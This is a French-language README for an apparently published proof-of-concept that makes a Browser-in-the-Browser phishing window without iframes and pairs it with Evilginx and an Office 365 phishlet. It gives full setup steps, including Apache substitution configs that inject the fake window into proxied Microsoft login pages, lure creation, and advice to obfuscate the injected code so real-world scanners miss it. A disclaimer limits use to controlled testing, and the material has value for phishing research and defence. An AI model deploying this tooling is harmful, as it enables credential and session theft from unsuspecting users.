
Une nouvelle approche du Browser In The Browser (BITB) sans utilisation d'iframes, permettant de contourner les framebusters traditionnels implémentés par les pages de connexion comme Microsoft et l'utilisation avec Evilginx.
Une nouvelle approche du Browser In The Browser (BITB) sans utiliser d'iframes, permettant de contourner les framebusters traditionnels implémentés par les pages de connexion comme celles de Microsoft.
Ce code POC est conçu pour utiliser ce nouveau BITB avec Evilginx, ainsi qu'un phishlet Microsoft Enterprise.

Avant de plonger dans ce sujet, je vous recommande d'abord de consulter ma présentation au BSides 2023, où j'ai introduit ce concept ainsi que des détails importants sur la façon de concevoir l'attaque de phishing « parfaite ». ▶ Regarder la vidéo
Cet outil est destiné uniquement à des fins éducatives et de recherche. Il illustre une méthode de Browser In The Browser (BITB) non basée sur les iframes. L'auteur n'est pas responsable d'une utilisation abusive. Utilisez cet outil uniquement de manière légale et éthique, dans des environnements contrôlés pour les tests de défense en cybersécurité. En utilisant cet outil, vous acceptez de le faire de manière responsable et à vos propres risques.
Au cours de l'année écoulée, j'ai expérimenté différents astuces pour concevoir l'attaque de phishing « parfaite ». Les « drapeaux rouges » typiques que les gens sont formés à repérer sont des choses comme l'urgence, les menaces, l'autorité, une mauvaise grammaire, etc. La prochaine chose que les gens vérifient de nos jours est le lien/URL du site web avec lequel ils interagissent, et ils deviennent très conscients dès qu'on leur demande de saisir des informations d'identification sensibles comme les e-mails et les mots de passe.
C'est là que le Browser In The Browser (BITB) est entré en jeu. Initialement présenté par @mrd0x, le BITB est un concept qui crée l'apparence d'une fenêtre de navigateur crédible à l'intérieur de laquelle l'attaquant contrôle le contenu (en servant le site malveillant dans une iframe). Cependant, la barre d'URL factice de la fausse fenêtre de navigateur est définie sur le site légitime que l'utilisateur attend. Combiné à un outil comme Evilginx, cela devient la recette parfaite pour une attaque de phishing crédible.
Le problème est qu'au cours des derniers mois/années, des sites majeurs comme Microsoft ont mis en œuvre diverses petites astuces appelées « framebusters/framekillers » qui tentent principalement de briser les iframes qui pourraient être utilisées pour servir le site proxyfié, comme dans le cas d'Evilginx.
En bref, Evilginx + BITB pour des sites comme Microsoft ne fonctionne plus. Du moins pas avec un BITB qui repose sur des iframes.
Un Browser In The Browser (BITB) sans aucune iframe ! Aussi simple que cela.
Cela signifie que nous pouvons désormais utiliser BITB avec Evilginx sur des sites comme Microsoft.
Evilginx n'est qu'un exemple fort, mais le même concept peut être utilisé pour d'autres cas d'usage également.
Les framebusters ciblent spécifiquement les iframes, donc l'idée est de créer l'effet BITB sans utiliser d'iframes, et sans perturber la structure/contenu original de la page proxyfiée. Cela peut être réalisé en injectant des scripts et du HTML à côté du contenu original en utilisant la recherche et le remplacement (substitutions), puis en se fiant entièrement à des astuces HTML/CSS/JS pour créer l'effet visuel. Nous utilisons également une astuce supplémentaire appelée « Shadow DOM » en HTML pour placer le contenu de la page d'atterrissage (arrière-plan) de manière à ce qu'il n'interfère pas avec le contenu proxyfié, ce qui nous permet d'utiliser n'importe quelle page d'atterrissage de manière flexible avec quelques scripts JS supplémentaires.
Créez une machine virtuelle Linux locale. (J'utilise personnellement Ubuntu 22 sur VMWare Player ou Parallels Desktop)
Mettez à jour et mettez à niveau les paquets système :
sudo apt update && sudo apt upgrade -y
Créez un nouvel utilisateur evilginx et ajoutez-le au groupe sudo :
sudo su
adduser evilginx
usermod -aG sudo evilginx
Vérifiez que l'utilisateur evilginx est dans le groupe sudo :
su - evilginx
sudo ls -la /root
Accédez au répertoire personnel de l'utilisateur :
cd /home/evilginx
(Vous pouvez également tout faire en tant qu'utilisateur sudo puisque nous exécutons tout localement)
Téléchargez et compilez Evilginx : Documentation officielle
Copiez les fichiers Evilginx dans /home/evilginx
Installez Go : Documentation officielle
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
AJOUTER : export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Vérifiez :
go version
Installez make :
sudo apt install make
Compilez Evilginx :
cd /home/evilginx/evilginx2
make
Créez un nouveau répertoire pour notre build Evilginx avec les phishlets et redirecteurs :
mkdir /home/evilginx/evilginx
Copiez le build, les phishlets et les redirecteurs :
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Correctif rapide du pare-feu Ubuntu (merci à @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
Sous Ubuntu, si vous obtenez l'erreur Failed to start nameserver on: :53, essayez de modifier ce fichier
sudo nano /etc/systemd/resolved.conf
éditez/ajoutez DNSStubListener à no > DNSStubListener=no
puis
sudo systemctl restart systemd-resolved
Puisque nous allons utiliser Apache2 devant Evilginx, nous devons faire écouter Evilginx sur un port différent du 443.
nano ~/.evilginx/config.json
CHANGEZ https_port de 443 à 8443
Installez Apache2 :
sudo apt install apache2 -y
Activez les modules Apache2 qui seront utilisés : (Nous désactivons également le module access_compat car il cause parfois des problèmes)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Démarrez et activez Apache :
sudo systemctl start apache2
sudo systemctl enable apache2
Essayez si Apache et le réseau de la VM fonctionnent en visitant l'IP de la VM depuis un navigateur sur la machine hôte.
Installez git s'il n'est pas déjà disponible :
sudo apt -y install git
Clonez ce dépôt :
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Créez les répertoires pour les pages que nous allons servir :
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copiez les répertoires pour chaque page :
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Optionnel : Supprimez la page Apache par défaut (non utilisée) :
sudo rm -r /var/www/html/
Copiez le phishlet O365 dans le répertoire des phishlets :
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Optionnel : Pour configurer le widget Calendly afin d'utiliser votre compte au lieu de celui par défaut que j'ai inclus, allez dans pages/primary/script.js et modifiez CALENDLY_PAGE_NAME et CALENDLY_EVENT_TYPE.
Note sur l'obfuscation de la démo : Comme je l'explique dans la vidéo explicative, j'ai inclus une obfuscation minimale pour le contenu textuel comme les URL et les titres du BITB. Vous pouvez ouvrir l'obfuscateur de démonstration en ouvrant demo-obfuscator.html dans votre navigateur.
Dans un scénario réel, je recommande vivement d'obfusquer de plus gros morceaux du code HTML injecté ou d'utiliser des astuces JS pour éviter d'être détecté et signalé. La version avancée sur laquelle je travaille utilisera une combinaison d'astuces avancées pour rendre quasiment impossible aux scanners de reconnaître/détecter le code BITB, alors restez à l'écoute.
Puisque nous exécutons tout localement, nous devons générer des certificats SSL auto-signés qui seront utilisés par Apache. Evilginx n'aura pas besoin des certificats car nous le ferons fonctionner en mode développeur.
Nous utiliserons le domaine fake.com qui pointera vers notre VM locale. Si vous souhaitez utiliser un domaine différent, assurez-vous de le modifier dans tous les fichiers (fichiers de configuration Apache, fichiers JS, etc.)
Créez le répertoire et ses parents s'ils n'existent pas :
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Générez les certificats SSL en utilisant le fichier de configuration OpenSSL :
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Modifiez les permissions de la clé privée :
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Copiez les fichiers de substitution personnalisés (le cœur de notre approche) :
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Note importante : Dans ce dépôt, j'ai inclus 2 configurations de substitution pour BITB Chrome sur Mac et Chrome sur Windows. Les deux incluent une détection automatique et un style pour le mode clair/sombre, et elles doivent servir de modèles de base pour réaliser la même chose pour d'autres combinaisons navigateur/OS. Comme je n'ai pas inclus de détection automatique de la combinaison navigateur/OS utilisée pour visiter notre page de phishing, vous devrez en utiliser une parmi les deux ou implémenter votre propre logique pour la commutation automatique.
Les deux fichiers de configuration dans /apache-configs/ sont les mêmes, seule la directive Include utilisée pour le fichier de substitution qui sera inclus diffère. (il y a 2 références pour chaque fichier)
# Décommentez celui que vous souhaitez et n'oubliez pas de redémarrer Apache après toute modification :
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Pour simplifier, j'ai inclus les deux versions sous forme de fichiers séparés pour cette prochaine étape.
Windows/Chrome BITB :
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB :
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Testez les configurations Apache pour vous assurer qu'il n'y a pas d'erreurs :
sudo apache2ctl configtest
Redémarrez Apache pour appliquer les modifications :
sudo systemctl restart apache2
Obtenez l'IP de la VM en utilisant ifconfig et notez-la quelque part pour l'étape suivante.
Nous devons maintenant ajouter de nouvelles entrées à notre fichier hosts, pour faire pointer le domaine utilisé dans cette démo fake.com et tous les sous-domaines utilisés vers notre VM sur laquelle Apache et Evilginx sont en cours d'exécution.
Sous Windows :
Ouvrez le Bloc-Notes en tant qu'administrateur (Recherche > Bloc-Notes > Clic droit > Exécuter en tant qu'administrateur)
Cliquez sur l'option Fichier (en haut à gauche) et dans la barre d'adresse de l'Explorateur de fichiers, copiez et collez ce qui suit :
C:\Windows\System32\drivers\etc\
Changez le type de fichiers (en bas à droite) en « Tous les fichiers ».
Double-cliquez sur le fichier nommé hosts
Sous Mac :
Ouvrez un terminal et exécutez la commande suivante :
sudo nano /private/etc/hosts
Modifiez maintenant les enregistrements suivants (remplacez [IP] par l'IP de votre VM) puis collez les enregistrements à la fin du fichier hosts :
# Configuration locale Apache et Evilginx
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# Fin de la section
Sauvegardez et quittez.
Redémarrez maintenant votre navigateur avant de passer à l'étape suivante.
Note : Sous Mac, utilisez la commande suivante pour vider le cache DNS :
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
Cette démo est réalisée avec le phishlet Office 365 Enterprise fourni. Pour obtenir les entrées hosts que vous devez ajouter pour un phishlet différent, utilisez phishlet get-hosts [NOM_DU_PHISHLET] mais n'oubliez pas de remplacer le 127.0.0.1 par l'IP locale réelle de votre VM.
Puisque nous utilisons des certificats SSL auto-signés, notre navigateur nous avertira à chaque fois que nous essaierons de visiter fake.com, nous devons donc faire en sorte que notre machine hôte approuve l'autorité de certification qui a signé les certificats SSL.
Pour cette étape, il est plus facile de suivre les instructions vidéo, mais voici l'essentiel quand même.
Ouvrez https://fake.com/ dans votre navigateur Chrome.
Ignorez l'avertissement de site non sécurisé et accédez à la page.
Cliquez sur l'icône SSL > Détails > Exporter le certificat IMPORTANT : Lors de l'enregistrement, le nom DOIT se terminer par .crt pour que Windows l'ouvre correctement.
Double-cliquez dessus > installer pour l'utilisateur actuel. Ne sélectionnez PAS automatique, placez plutôt le certificat dans un magasin spécifique : sélectionnez « Autorités de certification racines de confiance ».
Sous Mac : pour installer uniquement pour l'utilisateur actuel > sélectionnez « Trousseau : connexion » ET cliquez sur « Afficher les certificats » > détails > confiance > Toujours approuver
Redémarrez MAINTENANT votre navigateur
Vous devriez pouvoir visiter https://fake.com maintenant et voir la page d'accueil sans aucun avertissement SSL.
À ce stade, tout devrait être prêt, nous pouvons donc démarrer Evilginx, configurer le phishlet, créer notre leurre et le tester.
Optionnel : Installez tmux (pour garder Evilginx en cours d'exécution même si la session terminal est fermée. Principalement utile lors de l'exécution sur une machine virtuelle distante.)
sudo apt install tmux -y
Démarrez Evilginx en mode développeur (en utilisant tmux pour éviter de perdre la session) :
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(Pour se rattacher à la session tmux, utilisez tmux attach-session -t evilginx)
Configuration Evilginx :
config domain fake.com
config ipv4 127.0.0.1
IMPORTANT : Configurez le mode Blacklist d'Evilginx sur NoAdd pour éviter de blacklister Apache puisque toutes les requêtes proviendront d'Apache et non de l'IP réelle du visiteur.
blacklist noadd
Configuration du phishlet et du leurre :
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copiez l'URL du leurre et visitez-la depuis votre navigateur (utilisez un utilisateur invité sur Chrome pour éviter d'avoir à supprimer toutes les données enregistrées/mises en cache entre les tests).
BITB original basé sur iframe par @mrd0x : https://github.com/mrd0x/BITB
Cours Evilginx Mastery par le créateur d'Evilginx @kgretzky : https://academy.breakdev.org/evilginx-mastery
Ma conférence au BSides 2023 : https://www.youtube.com/watch?v=p1opa2wnRvg
Comment protéger Evilginx en utilisant Cloudflare et l'obfuscation HTML : https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Ressources Evilginx pour Microsoft 365 par @BakkerJan : https://janbakker.tech/evilginx-resources-for-microsoft-365/